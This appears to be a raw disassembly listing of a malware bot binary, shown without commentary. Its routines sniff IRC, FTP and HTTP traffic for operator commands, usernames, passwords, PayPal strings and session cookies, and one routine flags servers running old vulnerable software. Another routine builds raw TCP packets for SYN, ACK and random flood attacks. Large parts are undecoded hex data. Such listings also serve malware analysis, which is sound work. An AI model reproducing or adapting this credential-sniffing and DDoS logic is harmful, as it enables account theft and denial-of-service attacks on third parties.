sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41301D loc_413019: ; CODE XREF: sub_413003+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41301D: ; CODE XREF: sub_413003+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413019 push offset aOper_0 ; "OPER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413043 loc_41303F: ; CODE XREF: sub_413003+4Fj ; sub_413003+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: sub_413003+3Aj push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aOper ; "oper " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41303F push offset aYouAreNowAnIrc ; "You are now an IRC Operator" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413003 endp ; =============== S U B R O U T I N E ======================================= sub_413079 proc near ; CODE XREF: sub_4131EC+32Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aFtpSniff ; "FTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413093 loc_41308F: ; CODE XREF: sub_413079+29j ; sub_413079+3Aj xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_413093: ; CODE XREF: sub_413079+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset aNick_1 ; "NICK " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41308F push offset a220 ; "220 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4130CA loc_4130C6: ; CODE XREF: sub_413079+60j ; sub_413079+71j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4130CA: ; CODE XREF: sub_413079+4Bj push offset a230 ; "230 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aUser_3 ; "USER " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4130C6 push offset aPass_1 ; "PASS " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413079 endp ; =============== S U B R O U T I N E ======================================= sub_413100 proc near ; CODE XREF: sub_4131EC+35Fp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aHttpSniff ; "HTTP sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41311A loc_413116: ; CODE XREF: sub_413100+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41311A: ; CODE XREF: sub_413100+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_413116 push offset aPaypal ; "paypal" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_413140 loc_41313C: ; CODE XREF: sub_413100+4Fj ; sub_413100+60j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_413140: ; CODE XREF: sub_413100+3Aj push offset aPaypal_0 ; "PAYPAL" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com_0 ; "PAYPAL.COM" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aPaypal_com ; "paypal.com" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41313C push offset aSetCookie ; "Set-Cookie:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413100 endp ; =============== S U B R O U T I N E ======================================= sub_413187 proc near ; CODE XREF: sub_4131EC:loc_4135B1p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aVulnSniff ; "VULN sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131A1 loc_41319D: ; CODE XREF: sub_413187+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_4131A1: ; CODE XREF: sub_413187+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_41319D push offset aOpenssl0_9_6 ; "OpenSSL/0.9.6" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_4131C7 loc_4131C3: ; CODE XREF: sub_413187+4Fj mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_4131C7: ; CODE XREF: sub_413187+3Aj push offset aServUFtpServer ; "Serv-U FTP Server" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4131C3 push offset aOpenssh_2 ; "OpenSSH_2" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_413187 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4131EC proc near ; DATA XREF: sub_401ACD+42A0o var_113B8 = byte ptr -113B8h var_113AF = byte ptr -113AFh var_113AC = dword ptr -113ACh var_113A8 = dword ptr -113A8h var_113A4 = dword ptr -113A4h var_1138C = byte ptr -1138Ch var_13B8 = byte ptr -13B8h var_BB8 = byte ptr -0BB8h var_3B8 = byte ptr -3B8h var_3B7 = byte ptr -3B7h var_2B8 = byte ptr -2B8h var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 113B8h call sub_41C500 mov eax, [ebp+arg_0] push ebx push esi push edi push 25h mov esi, eax pop ecx lea edi, [ebp+var_B8] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_3B7] push 3Fh mov [eax+90h], esi pop ecx xor eax, eax mov [ebp+var_3B8], bl push 0FFh rep stosd stosw lea eax, [ebp+var_3B8] mov [ebp+var_20], 2 push eax mov [ebp+var_1E], bx mov [ebp+var_1C], ebx call dword_4CB9E8 lea eax, [ebp+var_3B8] push eax call dword_4CBA58 movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] push ecx push dword ptr [eax] lea eax, [ebp+var_8] push eax call sub_41CD20 mov eax, [ebp+var_8] add esp, 0Ch mov [ebp+var_1C], eax push ebx push 3 push 2 call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_10], edi jnz short loc_413292 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_413292: ; CODE XREF: sub_4131EC+9Bj lea eax, [ebp+var_20] push 10h push eax push edi call dword_4CBA00 cmp eax, 0FFFFFFFFh jnz short loc_413308 call dword_4CB968 push eax lea eax, [ebp+var_2B8] push offset unk_437870 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_4132E4 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_4132E4: ; CODE XREF: sub_4131EC+D6j lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_34] call sub_40B6D6 pop ecx push ebx call near ptr 26F0000h nop loc_413308: ; CODE XREF: sub_4131EC+B6j push ebx lea eax, [ebp+var_24] push ebx push eax push ebx push ebx lea eax, [ebp+var_C] push 4 push eax push 98000001h push edi mov [ebp+var_C], esi call dword_4CB980 cmp eax, 0FFFFFFFFh jnz short loc_41338E call dword_4CB968 push eax lea eax, [ebp+var_2B8] push offset unk_437840 push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_2C], ebx jnz short loc_41336A push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h loc_41336A: ; CODE XREF: sub_4131EC+15Cj lea eax, [ebp+var_2B8] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C push [ebp+var_34] call sub_40B6D6 pop ecx push ebx nop call near ptr 26F0000h loc_41338E: ; CODE XREF: sub_4131EC+13Cj mov esi, 200h loc_413393: ; CODE XREF: sub_4131EC+1D6j ; sub_4131EC+1FBj ... mov edi, 0FFFFh lea eax, [ebp+var_113B8] push edi push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_113B8] push ebx push edi push eax push [ebp+var_10] call dword_4CB9EC cmp [ebp+var_113AF], 6 jnz short loc_413393 push [ebp+var_113A4] mov edi, dword_4271CC call edi ; htons push [ebp+var_113A4+2] movzx eax, ax mov [ebp+arg_0], eax call edi ; htons cmp [ebp+arg_0], 6Eh movzx edi, ax jz short loc_413393 cmp [ebp+arg_0], 19h jz short loc_413393 cmp edi, 6Eh jz short loc_413393 cmp edi, 19h jz short loc_413393 push [ebp+var_113AC] call sub_412EDD pop ecx push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_13B8] push offset aS_1 ; "%s" push eax call sub_41C266 push [ebp+var_113A8] call sub_412EDD add esp, 10h push dword ptr [eax] nop call near ptr 71AB401Ch push eax lea eax, [ebp+var_BB8] push offset aS_1 ; "%s" push eax call sub_41C266 lea eax, [ebp+var_1138C] mov [ebp+var_4], ebx push eax call sub_41B9C0 add esp, 10h test eax, eax jle short loc_413491 loc_41345D: ; CODE XREF: sub_4131EC+2A3j mov eax, [ebp+var_4] cmp [ebp+eax+var_1138C], 0Dh lea eax, [ebp+eax+var_1138C] jnz short loc_413474 mov byte ptr [eax], 20h loc_413474: ; CODE XREF: sub_4131EC+283j cmp byte ptr [eax], 0Ah jnz short loc_41347C mov byte ptr [eax], 20h loc_41347C: ; CODE XREF: sub_4131EC+28Bj inc [ebp+var_4] lea eax, [ebp+var_1138C] push eax call sub_41B9C0 cmp [ebp+var_4], eax pop ecx jl short loc_41345D loc_413491: ; CODE XREF: sub_4131EC+26Fj cmp [ebp+arg_0], 50h jz loc_413544 cmp edi, 50h jz loc_413544 lea eax, [ebp+var_1138C] push eax call sub_412EEC test al, al pop ecx jz short loc_4134D8 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_43780C jmp loc_413573 ; --------------------------------------------------------------------------- loc_4134D8: ; CODE XREF: sub_4131EC+2C7j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413003 test al, al pop ecx jz short loc_41350E lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377D8 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_41350E: ; CODE XREF: sub_4131EC+300j cmp edi, 50h jz short loc_413544 lea eax, [ebp+var_1138C] push eax call sub_413079 test al, al pop ecx jz short loc_413544 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_4377A4 jmp short loc_413573 ; --------------------------------------------------------------------------- loc_413544: ; CODE XREF: sub_4131EC+2A9j ; sub_4131EC+2B2j ... lea eax, [ebp+var_1138C] push eax call sub_413100 test al, al pop ecx lea eax, [ebp+var_1138C] push eax jz short loc_4135B1 lea eax, [ebp+var_BB8] push edi push eax lea eax, [ebp+var_13B8] push [ebp+arg_0] push eax push offset unk_43776C loc_413573: ; CODE XREF: sub_4131EC+2E7j ; sub_4131EC+320j ... lea eax, [ebp+var_2B8] push esi push eax call sub_41C360 add esp, 20h cmp [ebp+var_2C], ebx jnz loc_413393 push ebx lea eax, [ebp+var_2B8] push [ebp+var_30] push eax lea eax, [ebp+var_B4] push eax push [ebp+var_B8] call sub_409869 add esp, 14h jmp loc_413393 ; --------------------------------------------------------------------------- loc_4135B1: ; CODE XREF: sub_4131EC+36Ej call sub_413187 test al, al pop ecx jz loc_413393 lea eax, [ebp+var_1138C] push eax lea eax, [ebp+var_BB8] push edi push eax push [ebp+arg_0] lea eax, [ebp+var_13B8] push eax push offset unk_437734 jmp short loc_413573 sub_4131EC endp ; --------------------------------------------------------------------------- byte_4135DF db 55h ; DATA XREF: sub_401ACD+6464o dd 0EC81EC8Bh, 494h, 5608458Bh, 0A5B957h, 0F08B0000h, 0FD6CBD8Dh dd 0A5F3FFFFh, 29080C7h, 10000h, 0E8900000h, 228D285h dd 8CA6E850h, 858D0000h, 0FFFFFE74h, 74858D50h, 50FFFFFFh dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h dd 8D5014C4h, 0FFFB6C85h, 789C68FFh, 0E8500043h, 8C1Eh dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 0FAE8FFFFh, 83FFFF61h dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h dd 0FF804DE8h, 565959FFh, 0C96EE890h, 5E5F022Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413694 proc near ; CODE XREF: ___:00413A0Bp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB944 test eax, eax jz short loc_4136D4 xor eax, eax jmp loc_4139C7 ; --------------------------------------------------------------------------- loc_4136D4: ; CODE XREF: sub_413694+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA78 cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4139BF push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_4CB9B4 cmp eax, 0FFFFFFFFh jz loc_4139B5 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_4CB9D4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_4CB9D4 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_4CB9D4 mov [ebp+var_12], ax call sub_41C2C2 movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_4CB9D4 push 12345678h mov [ebp+var_14], ax call dword_4CB9D0 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137A4 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137A4: ; CODE XREF: sub_413694+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137C0 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_4137F8 ; --------------------------------------------------------------------------- loc_4137C0: ; CODE XREF: sub_413694+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4137F8 call sub_41C2C2 push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41C2C2 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_4137F8: ; CODE XREF: sub_413694+10Ej ; sub_413694+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_4CB9D4 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx nop call near ptr 27A0543h lea eax, [ebp+var_1C] push eax call near ptr 27A02A2h nop push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_41DB20 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_413846: ; CODE XREF: sub_413694+2E2j ; sub_413694+2F0j mov [ebp+var_4], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9D4 mov [ebp+var_14], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9D4 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9D0 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9D4 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_4CBA38 cmp eax, 0FFFFFFFFh jz short loc_413989 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax nop call near ptr 27A02A2h mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4139B2 jl loc_413846 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4139B2 jmp loc_413846 ; --------------------------------------------------------------------------- loc_413989: ; CODE XREF: sub_413694+2CBj call dword_4CB968 push eax lea eax, [ebp+var_F4] push offset dword_4378C4 push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139B2: ; CODE XREF: sub_413694+2E0j ; sub_413694+2EEj mov ebx, [ebp+arg_8] loc_4139B5: ; CODE XREF: sub_413694+78j ; sub_413694+31Cj push [ebp+var_20] call dword_4CBA6C pop esi loc_4139BF: ; CODE XREF: sub_413694+5Bj call dword_4CB92C mov eax, ebx loc_4139C7: ; CODE XREF: sub_413694+3Bj pop edi pop ebx leave retn sub_413694 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov esi, eax call sub_41C159 push dword ptr [esp+24h] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_413694 add esp, 20h test eax, eax jnz short loc_413A1A push 1 pop eax loc_413A1A: ; CODE XREF: ___:00413A15j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413A29 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6643o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CBA5415h, 0FFF88300h, 75FC4589h, 6815FF5Fh dd 50004CB9h, 0FC44858Dh, 0C468FFFFh, 50004379h, 87E9E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF5DC5h dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 1BE8C875h dd 59FFFF7Ch, 0E8905759h, 22DC53Ch, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CB9B415h, 0FFF88300h, 15FF5D75h dd 4CB968h, 44858D50h, 68FFFFFCh, 437994h, 8770E850h, 0C4830000h dd 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h dd 50FFFFFFh, 0FE44B5FFh, 4EE8FFFFh, 83FFFF5Dh, 858D14C4h dd 0FFFFFC44h, 220EE850h, 75FF0000h, 7BA4E8C8h, 5959FFFFh dd 0C5E89057h, 8D022DC4h, 0FFFE4885h, 15FF50FFh, 4CBA14h dd 75FFF883h, 44858D55h, 68FFFFFCh, 437974h, 8708E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 5CE7E8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF7B3DE8h dd 575959FFh, 2DC45FE8h, 106A9002h, 57E4458Dh, 83C2E850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0B9D415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 1415FF50h, 8B004CBAh, 4270B035h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0E74005C6h dd 0FF45004Ch, 4CB9D415h, 0D47D3900h, 0E742A366h, 8966004Ch dd 4CE7441Dh, 3D896600h, 4CE746h, 0E74805C6h, 8880004Ch dd 4CE7491Dh, 3D896600h, 4CE74Ah, 87E83074h, 8B000086h dd 8E3C1D8h, 867DE8h, 0C1D80300h, 73E808E3h, 3000086h dd 8E3C1D8h, 8669E8h, 6AD80300h, 4C1D8901h, 5B004CE7h dd 0B5FF18EBh, 0FFFFFE44h, 0FF6D95E8h, 0FF5059FFh, 4CBA1415h dd 0E74CA300h, 458B004Ch, 0E750A3E8h, 37E8004Ch, 99000086h dd 100B9h, 88F9F700h, 4CE75415h, 8624E800h, 0B9990000h dd 100h, 1588F9F7h, 4CE755h, 8611E8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CE7563Dh, 1D896600h, 4CE75Ah, 15896642h dd 4CE758h, 85E9E8h, 0FFB99900h, 0F7000000h, 5C6852F9h dd 0E8004CE7h, 8284h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh, 0FF004CBAh dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh, 43792C68h dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h dd 0FF022DC2h, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22DC1F0h dword_413E10 dd 0B8EC8B55h, 10320h, 86E3E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+542Do dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h, 8B004CBAh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh dd 0C132E890h, 0C33B022Dh, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CB8ECh, 0C0753B46h, 75FFDA7Ch, 8C15FF08h, 8D004CBAh dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h dd 59FFFF77h, 65E85359h, 90022DC0h dword_413F9C dd 0B8EC8B55h, 10310h, 8557E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+5679o dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0C8C7E800h dd 50900228h, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 7068FFFFh dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B022Dh dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 2FE81175h dd 99000082h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 81E1E8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0CD8BE890h dd 754E0226h, 0DC7D39CEh, 83E8BC75h, 99000081h, 0FFDCB9h dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah, 80F9E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h dd 575959FFh, 2DBE4FE8h db 2, 90h word_4141B2 dw 8B55h ; DATA XREF: sub_401ACD+4CC4o dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh 